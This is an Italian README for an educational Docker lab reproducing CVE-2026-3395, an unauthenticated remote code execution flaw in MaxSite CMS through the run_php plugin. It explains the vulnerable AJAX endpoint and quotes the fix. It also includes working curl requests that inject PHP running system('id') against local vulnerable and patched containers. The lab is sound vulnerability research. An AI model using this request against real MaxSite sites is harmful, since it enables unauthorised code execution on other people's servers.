
# Laboratorio Docker educativo che dimostra CVE-2026-3395, una RCE non autenticata in MaxSite CMS tramite il plugin run_php, con ambienti vulnerabili e corretti per una riproduzione e un'analisi sicure.
Questo repository è destinato esclusivamente a scopi educativi e di ricerca. Tutti i test devono essere eseguiti in un ambiente lab Docker locale. Non distribuire questa configurazione su sistemi pubblici o di produzione.
CVE-2026-3395 riguarda MaxSite CMS e consente l'accesso non autenticato a un endpoint AJAX amministrativo. Quando il plugin run_php è abilitato, l'input dell'utente può essere valutato come codice PHP tramite il sistema di hook del CMS, il che può portare all'esecuzione remota di codice (RCE).
Questo repository include:
L'endpoint vulnerabile si trova in:
application/maxsite/admin/plugins/editor_markitup/preview-ajax.php
Nella versione vulnerabile:
POST data) viene passato tramite mso_hook()run_php elabora i blocchi [php]...[/php]eval()Se run_php è abilitato, ciò comporta l'esecuzione remota di codice non autenticata.
La versione corretta aggiunge:
if (!is_login()) die('no login');
mso_checkreferer();
Questo limita l'accesso ai soli utenti autenticati.
Questo lab crea due ambienti:
| Ambiente | Porta |
|---|---|
| Vulnerabile | 8081 |
| Corretto | 8082 |
docker compose up -d --build
Questo:
run_php nella configurazione del labApri nel browser:
http://localhost:8081 (Vulnerabile)
http://localhost:8082 (Corretto)
Entrambe le istanze dovrebbero caricarsi correttamente.

La rotta AJAX utilizza un percorso codificato in base64.
Il Base64 di:
admin/plugins/editor_markitup/preview-ajax.php
è:
YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==
curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8081/" \
--data-urlencode "data=[php]system('id');[/php]"

curl -X POST "http://localhost:8082/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8082/" \
--data-urlencode "data=[php]system('id');[/php]"
Risultato atteso:
no login

Per fermare i container:
docker compose down -v
Usa questo progetto solo in ambienti isolati per scopi di ricerca e apprendimento.